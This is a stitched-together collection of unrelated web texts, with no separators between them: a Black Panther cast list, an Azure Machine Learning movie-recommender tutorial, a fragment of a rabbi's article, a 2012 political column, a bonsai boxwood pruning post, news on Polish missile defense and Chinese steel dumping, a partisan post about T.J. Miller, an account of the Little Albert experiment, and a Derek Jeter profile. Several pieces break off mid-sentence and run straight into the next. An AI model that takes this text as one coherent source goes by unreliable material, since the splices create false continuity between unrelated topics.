Black Panther has been an important character in the Marvel universe for 50 years. He is the king of the technologically-advanced nation of Wakanda, and Panther has served as a member of the Avengers in addition to his many solo adventures. The cast features Chadwick Boseman (Captain America: Civil War) as T’Challa/Black Panther, Michael B. Jordan (Fantastic Four) as Erik Killmonger, Danai Gurira (The Walking Dead) as Okoye, Lupita Nyong’o (Star Wars: The Force Awakens) as Nakia, Angela Bassett (Green Lantern) as Ramonda, T'Challa's mother, and Forest Whitaker (Rogue One: A Star Wars Story) as Zuri. The cast also includes Daniel Kaluuya (Black Mirror) as W’Kabi, Winston Duke (Person of Interest) as M’Baku, Florence Kasumba (Captain America: Civil War) as Ayo, and Letitia Wright (Doctor Who) as Serita.Introduction
Machine learning uses computers to run predictive models that learn from existing data in order to forecast future behaviors, outcomes, and trends.
Azure Machine Learning is a powerful cloud-based predictive analytics service that makes it possible to quickly create and deploy predictive models as analytics solutions. Azure Machine Learning not only provides tools to model predictive analytics, but also provides a fully-managed service you can use to publish your predictive models as ready-to-consume web services.
Read Predictive Analytics with Microsoft Azure Machine Learning for more details on the mechanisms of Azure Machine Learning.
Scope
This article demonstrates how Azure Machine Learning can be used to develop a Recommender Solution.
Ever wondered how websites like Amazon and EBay provides you useful suggestions and recommendations? This article is for you!
Designing the Experiment
Below are the steps to develop the experiment:
1. Add the dataset
In Azure Machine Learning, an existing dataset can be used of a new one can be loaded from an Azure Database, Azure Blob Storage, Data Feed Reader, Web Service or a Hive Query.
In this example the Movie Ratings Sample Data shall be used.
The Movie Rating sample has the following columns:
2. Exclude the columns that shall not be needed
To do so, the project columns tool object can be used. Add it in the experiment.
Now, from the right menu, select "launch column selector" to select the fields that shall be needed. Here, the TimeStamp column shall be excluded.
3. Split the data
Now, the data shall be partitioned into 2 distinct sets:
- Train Data: Used to “train” the recommender. That is, the algorithm shall use this data to "learn" and make predictions.
- Test Data: Used to validate the results of the recommender
Drag the split tool and connect it as below.
Deciding about the amount of data to use for training and testing is subjective.
The ratio should be typed as a decimal number between 0 and 1 to represent the percentage of rows sent to the first output dataset.
For example, if you type 0.75 as the value, the dataset would be split by using a 75:25 ratio, with 75% of the rows sent to the first output dataset, and 25% sent to the second output dataset.
4. Add the Train Matchbox Recommender
The Train a recommendation model based on the Matchbox recommender engine. It has the ability to learn about people’s preferences from observing how they rate items such as movies, content, or other products.
This is where learning occurs.
5. Add the Score Matchbox Recommender
The Score Matchbox Recommender Scores predictions for a dataset using the Matchbox recommender.
It generates results based on a trained recommendation model.
6. Add the Evaluate Recommender
The Evaluate Recommender tests the accuracy of recommender model predictions
At this point in time, the solution is like below and can be executed by clicking on the Run button.
After its execution, if click on the output of the Score Matchbox Recommender and click on visualize, all the movie IDs together with their respective "related" movies" will now be displayed as shown below.
However, this won't be much useful for analysis purposes. What will be meaningful, is to have the movie names instead of the movie IDs.
Fortunately, the Join operator can be used as shown below.
7. Add the IMDB Movie Title Sample
This sample has all the Movie Names and their respective Movie IDs.
8. Add the Meta Data Editor and make it treat the values as String
This can be done by selecting all the columns from the column selector and set the data type to String from the right pane.
9. Join the Movie IDs from the Meta Data editor with the one from the Score MatchBox Recommender
In the column selector, select "Item" from the left column and select "Movie Id" from the Right column selector.
This will join the Item column form the Score Match Box Recommender to the Movie ID from the IMDB Movie titles. So,if the experiment is executed again, the Movie Name and all the related Movie IDs shall be listed as below.
Now,the names of the related movies shall be needed too! To do so, proceed with the step below.
10. Add another Join operator, to join the result from the previous join (result) with the Movie Titles sample
In the left column selector, select related item 1 and in the right column selector, select Movie ID.
This will join the related movie id 1 with the Movie Titles sample to return the name of the related movie.
Run the experiment to obtain a list of movie and their related movies.
From this experiment, we have a list of movies (Movie Name) and their Related Movie (Movie Name (2)).
For example, we can deduct that people who like Thor also liked Iron Man.
See Also
Another important place to find an extensive amount of Cortana Intelligence Suite related articles is the TechNet Wiki itself. The best entry point is Cortana Intelligence Suite Resources on the TechNet Wiki.7/17/14
Hi; I’m a Pedophile When Public Trust is Broken; Part Two By: Rabbi Yakov Horowitz Note: We have received a great deal of feedback from the first article on this subject posted yesterday; some positive and some, ehm…um... constructive. As many people questioned the necessity for including one or more of the six steps we posted, we thought that a point-by-point analysis of each step would be helpful to our communal conversation about this very timely and important subject. We hope you find this thought provoking. Kindly join our discussion by emailing your comments to [email protected] or posting them below. Please note that comments critical of our position will be posted, but not ones that attack individuals or are needlessly disparaging. This is a very sensitive topic and we ask our readers to respect the nature of our website and agree to disagree respectfully when posting (compliments are welcome as well). Ever wonder why we recite “Al Cheit (a series of verses where we confess our sins)” a total of eight times during the liturgy of Yom Kippur? The answer is |
these two questions, fully two-thirds of voters say they already know as much as they need to about both presidential candidates.”
See what voters want to know about Mr. Romney in today’s Poll du Jour at column’s end.
FUNDING THE ENTOURAGE
Frequent fundraising in scores of cities is a permanent fixture on the White House itinerary these days. They work, of course, and the treasure chest for President Obama’s re-election campaign is burgeoning indeed. But are these multiple visits an economic boost to the many stopover cities? Judging from a Boston Herald analysis of such things, the answer is likely a negative.
Mr. Obama’s “frequent jaunts” to Boston have cost the city nearly a half-million dollars in police overtime since the president took office, says Chris Cassidy, a political writer at the paper. “Officers have racked up 9,546 hours of overtime working Obama details during his seven visits to Boston since 2009 — at a cost of $448,924, according to Boston police records.” Matthew Cahill of the Boston Finance Commission suggests campaigns start fundraising to support security details and “share the burden, rather than dropping it on the municipalities”.
On his visit to Boston last month, Mr. Obama raised $3.1 million and left taxpayers with a police overtime bill of $84,329. “The city should send him a bill,” David Tuerck of the Beacon Hill Institute suggested, noting that the presidential visits cost taxpayers the equivalent of a year’s salary for four to five classroom teachers.
And, uh, that’s just in Boston.
BRIAN ROSS, CONTINUED
Even his peers are pondering ABC News correspondent Brian Ross’ efforts to establish a link between the tea party and Aurora movie shooter James Holmes. The coverage five days ago prompted Mr. Ross and the network to apologize, but not before inspiring critics and comedians alike to make much of the moment. Comedy Central’s Jon Stewart, for example, observed that Mr. Ross reached his conclusion by hitting the “I’m feeling lazy button” on his computer.
“In the hyper-fast, ultra-competitive, increasingly politicized news environment we now live in, is Ross entirely at fault for reporting that someone with the same name as Holmes is affiliated with the tea party? Bad taste, probably. But irresponsible?” asks Eddie Scarry, a writer with FishBowlDC, the much-read insider blog favored by Washington-based journalists and political strategists.
Yes, there’s an insta-poll for the elite readers on it all. The results so far: 72 percent of the respondents say Mr. Ross “jumped the gun with his sloppy reporting,” 22 percent felt the broadcaster “should have dug a little deeper to cover his bases before making the report,” and 5 percent were willing to cut Mr. Ross some slack.
Mr. Scarry says final results will be published Wednesday, right here: www.mediabistro.com/fishbowldc
POLL DU JOUR
• 41 percent of U.S. voters want to hear more about Mitt Romney’s record as Massachusetts governor.
• 36 percent want to hear about Mr. Romney’s tax returns; 18 percent of Republicans and 56 percent of Democrats agree.
• 35 percent want information about his record as CEO of Bain Capital.
• 21 percent want to hear about Mr. Romney’s wealth.
• 19 percent want to know about his family and upbringing.
• 16 percent want to know about Mr. Romney’s religious beliefs.
Source: A Pew research Center for the People & the Press survey of 798 registered voters conducted July 19 to 22. See all the findings here: www.people-press.org
• Hems and haws, impatient observations to [email protected]
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Time to trim my boxwood. Way over time actually. It’s late September here in the hot F-L-A. So maybe it’s not a good time for you….or maybe so…..depends on your first frost date usually. I won’t have a frost until maybe January, February (that’s right, that’s how we roll in Florida…). If you have the time for new growth to harden off before your first frost, go ahead and trim. I’m going to say at least a month or even two. Or, if not, and you want to trim, you’ll just have to protect the tree over the winter.
On the boxwood, that means the new growth has turned from light green to dark green and the leaf has actually hardened, it’s waxy and shiny. The new growth is almost rubbery (called “succulent” by horticulturists and gormands…well, not gourmands, unless they’re talking about roast duck) and dull. You’ve seen this tree before (click here to see its wonderful and amazing journey, filled with sketches, diagrams and 9×10, full color, glossy photographs to illustrate the story, there’s even a video with some awesome music here) I’m going to clean and treat the deadwood and define the live vein.
Or rather, I’m going to show my student Johnathan how to do it and sit back to take pictures.
It’s at this, oh-so-critical point that he tells me that he’s slightly green/red colorblind. You see (which he couldn’t) the cambium under the bark on a boxwood is green. The same green as the leaves actually, which he could distinguish, but next to the tan bark he just saw it as a darker shade of tan. Very interesting how the eye works, I won’t get into it but I will say this, people don’t all see the same colors. (Click here for a fun, or frustrating, game that tests your color hue sensitivity. It’s not designed to test color blindness, to test that Click here. How well did you do? If you failed the second one, just remember, for all of us drivers safety, the red light is on top of the traffic light, the green is on bottom)
We discovered a startling discovery.
The bark is only living here, between my fingers. I’d say only about 20-25% is alive.
Ok. Time to think.
Let’s look at the tree again.
This isn’t a juniper. The thin live vein will keep deteriorating and the top will ultimately die. I’m thinking that this is an opportunity. An opportunity for ART!
Or at least some artful chopping. And it gives Johnathan some more work to learn on.
Peeling the bark with a Jin plier involves crushing said bark with said plier and then peeling said bark off the tree. Once you get the hang of it, it’s easy-peasy.
It’s starting to come together. Needs a little haircut though.
And it’s really just a return to basics. Remove the older leaves. Make sure the shoots growing from on the top and the bottom of the branch are removed. Any shoots in the branch crotches and where there are more than two emerging from branch junctions should be removed. We want forks, not tridents.
This is the new bud on a boxwood. The spearpoint looking thingy (technically the shape is called a a bodkin point, a spear/arrowhead point designed for piercing armor).
When removing the old leaf, make sure you don’t damage the bud, or the tree will have to waste energy making a new bud before it can replace the leaf.
Now for some detail carving and lime sulfur.
It’s going to be a year or so until the new deadwood ages and whitens (or greys out, really) to match up with the older deadwood.
I’m not going to repot now (not the best time) but I think I’ll change the front just slightly when I do (around March). Maybe a rotation about 10 degrees counter-clockwise.
Watch the Facebook or Instagram feeds for updated pics, I expect it to pop new growth pretty quickly. Fertilizer, light water and slight shade (for today, just to protect from sunburn on the branches with the heavy pruning I just did. But, in the winter, full sun, cold winds and boxwoods don’t go together. Those two things, cold and full sun, cause the boxwood to catalyze the chlorophyll in the leaves and turn it to beta carotene, changing them from green to orange. If this happens, you need to remove the orange leaves or they could kill the branch). And that’s all for today.
Next post, I’ll explore the neck bending actuality of a semi-cascade bougainvillea.WARSAW (Reuters) - Poland plans to choose the supplier for its medium-range missile defense system within the next few weeks, Deputy Defence Minister Czeslaw Mroczek said on Tuesday.
“In the next few weeks we will make the decision regarding the supplier for this system,” Mroczek told reporters.
Mroczek said the ministry’s experts will have worked out the details of a recommendation regarding the decision by the end of April.
Last year, Poland short-listed U.S. firm Raytheon and a consortium of France’s Thales and European group MBDA in its tender for a mid-range missile defense system, which is estimated to be worth about $5 billion.
Poland, a NATO member since 1999, had accelerated the process to select a supplier for the missile system after Russia’s intervention in Ukraine prompted concern among NATO members in eastern Europe.I guess it’s come to this?
Actor T.J. Miller, from HBO’s show “Silicon Valley,” apparently hates people who voted for Donald Trump so much that he feels it’s okay to physically assault them.
After taking a Uber ride, he was so disgusted with his driver that he hit him in the head.
TMZ has the details:
Law enforcement sources tell us T.J.’s driver picked him up from the GQ Men of the Year party early Friday morning, and during the ride they got into an argument about President-elect Donald Trump. The driver claims T.J. slapped him in the head when they got to his house. We’re told the driver got pissed and decided to make a citizen’s arrest. He called cops who showed up and took T.J. into custody. We’re told the driver did NOT have any visible injuries, and it’s he said/he said at this point.
This is never okay.
I know people are upset over the election, but libs in Hollywood need to relax, try to understand the rest of America, and stop treating people who serve them so poorly.
This just proves that liberals don’t truly want diversity — they only want to be near people who think identically as they do.UK steel employers and unions call for prime minister to join forces with other nations by threatening to block China’s access to European markets
David Cameron is being urged by UK steel employers and unions to join forces with world leaders at the G20 summit to warn the Chinese president, Xi Jinping, to stop dumping cheap steel on Europe, or lose access to European markets.
The call on Cameron to get tough comes in the wake of a mass of steel plant closures across Europe, the US and Mexico in part caused by China flooding markets with its own subsidised steel and so helping to drive down its global price.
UK steel crisis: EU leaders vow 'full and speedy' response to halt cheap imports Read more
The European Union has some leverage over the Chinese since Xi is desperate to be given market economy status, a declaration that would open even more European markets to China.
Much of the G20 summit in Antalya, southern Turkey, including the opening Sunday evening dinner, is likely to be taken up with a clash between the US and Russia over Syria, and world migration. But the G20 is the world leaders’ premier economic forum, and Caroline Atkinson, Barack Obama’s adviser on international economics and the chief US summit planner, has said one goal for the summit must be to boost world demand.
Facebook Twitter Pinterest A worker walks past a pile of steel pipes at the Youfa steel plant in Tangshan, north-eastern China. Photograph: Kim Kyung-Hoon/Reuters
China will host the G20 next year, and its role in boosting demand will be critical, but UK steel interests are hoping Cameron will make common cause with other EU nations to challenge China at this summit.
The Trades Union Congress (TUC) general secretary, Frances O’Grady, formally wrote to Cameron asking him to raise the issue of steel dumping with the Chinese at the summit and to tell Xi that “dumping underpriced Chinese steel on to the world market will significantly reduce UK support for China’s ambition of achieving market economy status under World Trade Organisation (WTO) rules.” The request has the support of UK Steel, the employers’ body.
China claims that under WTO rules it should be granted market economy status next year, a move that would make it harder still for the EU to impose retaliatory tariffs on cheap Chinese imports.
Jeremy Corbyn: I'd go to Beijing to stop China dumping steel Read more
O’Grady points out in her letter to Cameron: “The mothballing and closing of plants in Motherwell, Redcar, Scunthorpe and the West Midlands in recent weeks threatens one in six of all UK steel jobs. The West Midlands Economic Forum has argued that in the Midlands alone these closures threaten a further 52,000 job losses in manufacturing over the next five years.
But she adds: “The European steel industry has lost a fifth of its jobs since 2009, while demand remains 25% below levels before the 2007-08 financial crisis, as Europe has felt the force of Chinese steel, which is believed to be sold at below the cost of production. If that is correct, it is illegal under WTO rules, and I urge you to ensure that the Chinese president understands that there must be consequences. Market economy status would allow China to manipulate the price of even more goods, and undercut existing producers across the G20 economies.”
She told the Guardian: “If China is given market economy status without playing fair on steel prices, the crisis will go from bad to worse.
“The government must now show that our growing relationship with China is not a one-way street. If you want to join the club, you have to play by the rules – so the prime minister must tell president Xi that if China continues to manipulate prices it will affect UK support for its MES bid.”
Facebook Twitter Pinterest The SSI steel plant in Redcar, Teesside, which has been shut down with the loss of 1,700 jobs. Photograph: Gary Calton for the Observer
The initiative has been welcomed by the director of UK Steel, Gareth Stace, who told the Guardian: “It is appropriate for Cameron to raise this issue with the Chinese president at the G20. The Chinese actions are having a serious impact on steel-producing nations right across the world and there is very little evidence that they are complying with WTO rules.”
UK Steel believes the British are beginning to take a more proactive line to defend European steel from dumping, but fears that if China achieves market economy status as expected next year, the impact will be devastating.
The first G20 summit was held in 2008 amid fears that a spreading financial crisis could trigger a worldwide depression, and there is growing concern of a further recession next year, with slowdowns in Russia, China and Brazil.
Cameron urged to condemn attacks on press freedom in Turkey Read more
The nations meeting in Turkey account for 85% of global output, and will be holding their discussions within 300 miles of the battleground of Syria.
There are 2 million mainly Syrian refugees inside Turkey, and the recently re-elected Turkish president, Recep Tayyip Erdoğan, a fierce opponent of Syria’s president, Bashar al-Assad, and the recent Russian military intervention, has been pushing for no-fly zones and safe havens within Syria. The US regarded the plan as impractical, but has been stung by the surprise Russian decision to use its air power to defend Assad. Russia has been pushing a rival eight-point peace plan that is silent on the future of Assad.
Obama and his state secretary, John Kerry, are seeking regional agreement for elections inside Syria within 18 months leading to a new regime replacing Assad. The rival peace plans will be debated in Vienna on Saturday before the world leaders meet in Turkey to discuss progress.
The G20 will also consider how Turkey can be helped further to stem the flow of refugees from its borders to Greece, and then further into the EU.An eight-month-old baby with rosy cheeks sits in front of a camera. A man appears in the frame and places a live rabbit near the baby. Then the man brings over a small, squirming spider monkey on a leash. Then a dog. The baby, who would become known as Little Albert, seems to have a healthy curiosity about the animals.
But what happens next made the experiment a staple of psychology textbooks and brought it into the pantheon of unethical scientific research.
Dr. John Watson was a psychologist and considered the father of behaviorism. Building off of Pavlov’s work proving that you could “hardwire” certain behaviors into dogs, Watson suspected that the same would apply to humans. In the “nature vs. nurture” debate, Watson was at the extreme end of the nurture spectrum. “Give me a dozen healthy infants,” he wrote, “well-formed, and my own specified world to bring them up in and I’ll guarantee to take any one at random and train him to become any type of specialist I might select — doctor, lawyer, artist, merchant-chief and yes, even a beggar-man and thief, regardless of his talents, penchants, tendencies, abilities, vocations, and race of his ancestors.”
Watson was positioning himself as a kind of demi-god, molding or mangling the unformed clay of a human life. And the “specified world” he imagined bringing children into was harsh. He believed that giving them affection was a “mawkish sentimental” act and should be avoided—otherwise the child would develop an “emotional disturbance.”
He decided to test his theory about conditioning by manufacturing a phobia in an infant. More specifically, he would instill a phobia of furry animals in Little Albert.
First, he and his graduate assistant, Rosalie Rayner, had to determine that Little Albert was not already afraid of them. Since Little Albert had watched the animals with interest and in some cases tried to touch them, he clearly wasn’t. Next, Dr. Watson brought the rat back. When Albert reached for it, he heard a disturbing noise: a hammer clanging against a metal bar. Little Albert jerked away from the rat, visibly startled. When Albert tried to reach for the rat again, the researchers made the sound again. Then they sent Albert home for a week. When he came back, they started over again, startling Little Albert as they brought out the animals. As they expected, Little Albert’s fear transferred to other furry objects, even a fur coat. As he saw the animals and heard the clanging sound, he trembled and cried or tried to crawl away.Photographs by Christopher Anderson for Jeter Publishing The retiring legend offers a photographer access to his private world—the first project in a new career that is all about control.
By Chris Smith Photographs By Christopher Anderson for Jeter Publishing
It’s a steamy Saturday morning, and Jeter is standing in the first-floor dining room of the brick 1830s West Village townhouse he’s renting. “Come on in,” he says. He’s wearing a gray, maize, and blue University of Michigan T-shirt in anticipation of his beloved Wolverines’ football game tonight against Notre Dame. At 40, he is ancient for a major leaguer, but up close he is leaner than he appears in uniform. With his shaved head, light-green eyes, and coiled serenity, Jeter could pass for a charismatic yoga instructor.
Instead, he is, of course, New York’s reigning sports star on its most glamorous team. And yet, despite being on our television sets seven months a year for the past 20 years, despite the regular appearances at charity events and a social life that seems to have included dating three-quarters of the Maxim Hot 100, he’s always felt just out of reach, available for all to adore but somehow still protected by an impenetrable, cannily constructed bubble of privacy. Opening the door to his home is a hint of a looming shift in Jeter’s life, and in Jeter, Inc.
Tomorrow is Derek Jeter Day at Yankee Stadium. It’s his latest stop on a cross-country farewell tour celebrating not just Jeter’s Hall of Fame–caliber playing career but his humility and rectitude off the field. Jeter announced in February, via Facebook, that he would be retiring after this season. Since then, he’s done a remarkable job of tuning out the impending end of his athletic life, at least publicly. At home, though, down to his final days in pinstripes, Jeter is by turns wistful, proud, funny, even a bit cranky. Mostly he seems relieved. “No more off-seasons,” he says. “It’s just over.”
He has no interest in the traditional jock afterlife: coaching or commentating or getting fat. Instead, he’s launched a publishing imprint at Simon & Schuster. A children’s book comes out September 23, followed in October by Jeter Unfiltered, a collection of evocative, documentary-style off-field photographs by Christopher Anderson—and a significant departure for the privacy-conscious icon.
Jeter Publishing, however, is only the first step. In a media landscape where stars are increasingly taking ownership of the means of production—Oprah Winfrey rose from talk-show host to media conglomerate, Dr. Dre went from producer to music mogul, and Beyoncé runs a management company—one option for Jeter is an ambitious media play. After two decades of being content, he’s intrigued by the possibility of becoming a multi-platform content provider. His business pursuits will likely be varied, but they will all be characteristically Jeter: He will be the one in charge.
There is the rustle of keys. The front door opens. It’s Chef Debbie, Jeter’s personal cook, back from the farmers’ market with a load of groceries. “Do you have to work down here?” Jeter asks as she opens the refrigerator. “We’ll go up, so we won’t bother you.” With that, we’re climbing the stairs, dark-brown wood with black steel railings, past a colorful painting of Miles Davis, one of the few visible decorative touches. “Oh, great, I get a tour,” I say.
Jeter’s response is immediate and firm. “I wouldn’t say tour,” he says. “I’m letting you go up one level.”
The numbers rank with those of baseball’s all-time greats: the sixth-most hits, the five championship rings, the 19th-highest offensive WAR. Then there’s the surplus of dramatic plays in high-pressure situations, including a crushing leadoff home run to doom the Mets in the 2000 World Series and the game-saving “flip” of a wild throw in the 2001 playoffs against Oakland. Yet what has truly separated Jeter on the field, and elevated him in the eyes of his peers, is something that can’t be captured in stats and highlight reels. He’s radiated a confidence, a command, that has lifted not just his own play but that of his teammates. His signature stroke—a line drive the opposite way, to right field—is an act of both iron will and unselfishness. It’s hard to say what’s more remarkable: that Jeter has been able to sustain such consistent control for 20 years under the New York spotlight, or that it was there from the moment he fully arrived onstage as a 21-year-old rookie in 1996.
“Even though it was his first year in the big leagues, Derek was a finished product as a person,” Joe Torre, the former Yankees manager, says, still a bit amazed all these years later. “Very mature, responsible.” Torre credits Jeter’s parents for a psychological grounding that sounds simple, but isn’t. “He felt comfortable in his own skin. Other players need to be validated. Derek doesn’t need the attention.”
Jeter’s mother nicknamed Derek “Old Man.” “Our parents say Derek kind of strutted and had a lot of confidence from when he was really, really young,” says Jeter’s sister, Sharlee, who is five years younger. “I think the nickname came from the first time he went off to school and he had his little briefcase and he was all dressed up in a little suit.” The first book from Jeter Publishing is called The Contract, and it’s a lightly fictionalized account of the eight-point bargain that young Derek signed (No. 1: “Family Comes First ”; No. 3: “Maintain Good Grades”) each year. The penalty for violations was losing baseball time.
Jeter is still in many ways that self-serious kid, though he’s now full of adult opinions. Yet he recognized early in his Yankees career that opacity was a shield and an asset. Jeter’s blandness with the press isn’t from a lack of intelligence. “It’s exactly the opposite,” says David Cone, a Yankees teammate of Jeter’s for six seasons. “It’s a very defined approach to control the message.”
He learned that often the best way to deflate a story is to ignore it. The Post once claimed that after sleeping with women, Jeter would leave a gift basket of signed memorabilia in the car taking the “conquest” home. He’s avoided commenting on the item for three years. But he’s still annoyed. “Like I’m giving them signed baseballs and pictures of myself on the way out! Who comes up with a story like that?” He laughs, incredulous. “It said the reason people found out was because I gave the same girl the same basket and I had forgotten I’d given her one—like there are so many people coming through I forgot!” Even if Jeter were cheesy enough to have handed out souvenirs, he’s far too careful to have made that kind of mistake.
Good behavior combined with savvy strategizing—Ian O’Connor’s biography, The Captain, describes how Jeter asked party guests to check any cameras or cell phones when entering his home—has enabled him to both stay out of the gossip rags and cash in on endorsement deals. Don’t get him wrong: Jeter has had plenty of fun, and he’s grateful for all the opportunities his life has provided. Yet fame and fortune have costs. One photograph in Jeter Unfiltered catches him in silhouette staring out the open window of a car. It was a Sunday afternoon, after a game at Yankee Stadium, and Jeter was stuck in traffic on the West Side Highway opposite the weekly free-form barbecue festival in Riverside Park. “It made me think about how I haven’t been to any summer barbecues for over 20 years,” Jeter tells me. “I’m looking forward to having one next summer.”
“Derek is a guy who has a genuine desire to stay connected to the real world,” says Anderson, who spent parts of seven months following Jeter (he’s also this magazine’s photographer-in-residence). “He loves looking at people as he drives around town. I wonder if that’s because there’s a bit of a metaphorical glass window between him and the rest of the world.”
At first Jeter was ambivalent about the photo project, intending the portraits to stay private. “His words were, ‘I don’t want to be that guy with my own photographer or film crew following me around,’ ” Anderson says. “But he wanted to be able to document, even for his own family, this last year and this time in his life. Maybe he had some sense of history in his mind, too.” Jeter’s Tampa mansion contains plenty of art books. He’d been looking at Thomas Hoepker’s famous pictures of Muhammad Ali, and Walter Iooss Jr.’s pictures of Michael Jordan off the court. “He recognized that somehow, someplace, pictures from this period in his life would be worthy to create,” Anderson says.
Louise Burke, the head of Simon & Schuster’s Gallery Books division, pushed for Unfiltered to be a book. Jeter established few limits other than authenticity. “He’s uncomfortable doing anything that isn’t natural to him,” Anderson says. “I kept looking for opportunities to get him physically interacting with the city—‘Let’s ride the subway.’ But Derek said, ‘That would never happen. It’s not because I’m too good for the subway, but the two times I rode it I thought I was going to get pulled apart.’ ”
Anderson shot Jeter in Tampa, Chicago, and New York. He came away with a deep understanding of Jeter’s complicated relationship with privacy and an appreciation for how levelheaded Jeter has stayed. “Other celebrities get mobbed for autographs, but it’s significantly different watching Derek on the street,” Anderson says. “In New York, the public has a sense that they own him. ‘He is ours. He is the captain of the New York Yankees. And the Yankees are ours.’ ”
Jeter’s commitment to the game has created another kind of distance. “If not for baseball, he probably would have been married by now,” Sharlee Jeter says. “The schedule is the schedule, so it’s very hard to have a personal life that’s structured.” Sharlee has a 3-year-old son, Jalen, whom Uncle Derek adores, but she laughs when envisioning her big brother becoming a father. “Derek thinks that with a kid, today you’re going to be potty trained, this is what you’re going to eat and what times you’re going to eat. That’s just how he lives his life,” she says. “It’s going to rock his whole world.”
1. On his way home after a game. “He talked about how his entire adult life, since he was 19 years old, he’s had something to do every Saturday and Sunday in the summer,” says Anderson. “He didn’t say it in a complaining way, but he’s never had a weekend off like normal people.” 2. At home in Tampa with his parents, Dot and Charles Jeter. “They did one of these genealogy charts, and he’s going over this extended-family tree with his parents,” says Anderson. “It showed them for the first time things that none of them really knew about their family.” 3. “He’s super-disciplined about his off-season training,” says Anderson. “He’d get up at 6 a.m. to do yoga or other training every morning. Like any kind of macho male, he was a little bit self-conscious about doing these poses. I think he was really trying to impress me with how well he did them. His instructor even said he did them way better than he normally does.”
The second floor holds the living room, but it doesn’t feel as if there’s been much living going on in Jeter’s New York house. He takes a seat at one end of a customized poker table covered in dark-blue felt with Jeter’s personal Nike logo at the center in white. The walls are mostly bare; his World Series MVP trophy is nowhere in sight, nor are any family photos or keepsakes, or any sign of Hannah Davis, Jeter’s 24-year-old model girlfriend.
“I was over by the U.N. for ten years, and sold that, and I’ve been down here for a little while,” Jeter says. “I like this—you almost feel like you’re not even in the city. No high-rises, not a lot of traffic. It’s a whole neighborhood, a whole new feel.”
Still, he will vacate the rental after the season’s over. For all of his hold on a city’s baseball memories and emotions, Jeter, who grew up in Kalamazoo, Michigan, has never really been of New York. For most of his career, he has considered Tampa his hometown, especially since he built a $12 million, seven-bedroom mansion there that’s been nicknamed “St. Jetersburg.” Sometimes, when the Yankees don’t have a game, Jeter will fly to Tampa just for the day.
“In New York there’s a lot of attention off the field, a lot of distractions,” he says. “My job on our team all along is to try to limit distractions and try to keep it about the game. I think a lot of times players get in trouble when they’re asked questions and they think they have to find a way to answer it. If you ask me a question and I say, ‘I don’t know,’ there’s really no follow-up.”
Pretty shrewd, but it’s also one of the reasons writers say Jeter can be a boring interview. “If I was giving them headlines all the time, I wouldn’t have been here for 20 years,” he says. “But they ask boring questions. Give me a different question, and I’ll give you a different answer.”
Okay: Did you vote for Obama or McCain in 2008? “I don’t have to get into politics,” Jeter says sharply. “I voted for Obama. But another thing I realized is my job is as a baseball player, so I stick with what I know the best.” He’s far more eager to discuss his Turn 2 Foundation, which has channeled $19 million into creating programs that teach “healthy lifestyles” to kids. “That’s very, very important to us as a family,” Jeter says, “and it will continue beyond my playing days.”
The serial tributes, as he’s visited stadiums for the final time this season, have forced him to reflect a bit. He misses the original Yankee Stadium. “It was a different feel,” Jeter says. “The new stadium, it’s second to none—all the amenities. For the players, it really doesn’t get any better. The old stadium, if you were at the stadium, in the stands, the only place you could see the game was in your seat. Now there’s so many suites and places people can go. So a lot of times it looks like it’s empty, but it’s really not. The old stadium, it was more intimidating. The fans were right on top of you.”
4. In Chicago before a game against the Cubs, with his girlfriend, the model Hannah Davis. 5. Entering his apartment in the West Village, after a Sunday afternoon game. “For years Derek lived more uptown, in a Trump tower that was probably super nice, but it also must have been isolating for a young single man,” says Anderson. “Now that he’s in the West Village, he feels much more connected to New York. He loves the neighborhood and the vibe.” 6. “They were filming a Gatorade commercial outside the stadium,” says Anderson. “People just started gathering around when they saw Jeter. He’s used to it, but crowds make him nervous, because people mob him. He’s a no-fuss guy, and so even with all the fame, there’s something about him that still feels a little ‘What’s all the fuss about?’” 7. Jeter at home in Tampa with his World Series championship rings. “We were chatting about his career, taking a little trip down memory lane,” says Anderson. “For me, it was a special moment to see him reflecting on these achievements, which can be kind of summed up in this fistful of rings.” 8. “This graffiti is in the Bronx. When they were filming the Gatorade commercial, they took this very organic walk down several blocks toward the stadium. I don’t think he’d ever seen this before,” says Anderson. “He was impressed. He’s used to seeing his jersey everywhere, but to see the graffiti like that was probably a neat moment.” 9. “He’s got a little area in his house that looks like a sports bar. During spring training, he had a few of his friends over: Jorge Posada and Gerald Williams from the Yankees, along with a childhood friend, Doug Biro (pictured). They had lunch and watched the NCAA tournament. Just hanging out like friends do.”
He misses George Steinbrenner. “We had a great relationship,” Jeter says. Steinbrenner’s children, led by his youngest son, Hal, run the franchise now. In 2010, during contract negotiations, management dared Jeter to go somewhere else as a free agent. “They’re not around as much as the Boss was,” Jeter says. “The Boss would pop in frequently during the course of the season. Hal and Hank, they don’t really come in too often. They might be at the stadium, but they don’t come through the clubhouse. The Boss, we weren’t playing good, he’d come through the clubhouse, look you up and down, and shake his head.”
Other characters he doesn’t seem to miss at all. Alex Rodriguez was a close friend at the beginning of Jeter’s career. Then he mocked the Yankees shortstop in an interview with Esquire and the relationship went into a deep freeze. In 2004, A-Rod was traded to the Bronx, and the melodrama spiraled until January, when his suspension from Major League Baseball for using performance-enhancing drugs was finalized.
There’s no shortage of theories about Rodriguez’s problems.
Jeter glares. “This is not an Alex story.”
Most baseball questions, though, elicit a sigh before Jeter answers. Oh, he will keep pouring every ounce of energy into every inning until at least the final pitch of the Yankees’ final regular-season game, on September 28, in Fenway Park. He loves baseball still, but he is weary of the grinding devotion it demands. And he can see the chance to exercise different parts of his brain. “This has been parts of 20 seasons—23 professionally,” he says. “I’ve been playing baseball since I was 5 or 6 years old. I’ve been on a schedule, pretty much, since I was in eighth, ninth grade. I look forward to not doing that.”
A broken left ankle in October 2012 sidelined Jeter for most of 2013 and accelerated his thinking about the inevitable end of his playing days. He wouldn’t let the injury force him to retire—a grueling rehab allowed Jeter to return this spring—and he would control the announcement of his exit. The year off also gave him time to start considering ideas for his next career. Jeter’s one explicit goal is to own a Major League franchise. “No former player has owned a team in baseball,” he says, his voice rising with a competitive edge. “In basketball, M.J., obviously. But not in baseball.”
Michael Jordan has been a mentor to Jeter, and a sponsor of sorts through Nike. Another, more entrepreneurial model is Magic Johnson, who is a part owner of the Los Angeles Dodgers but also heads an entertainment company with a social mission. Jeter, however, seems to want to develop something wholly his own. During his career the internet exploded, and the already blurry line between on- and off-field coverage has been nearly erased. “There’s pretty much no privacy whatsoever anymore,” he says. Yet Jeter |
For the Belgian Kings day, see King's Feast
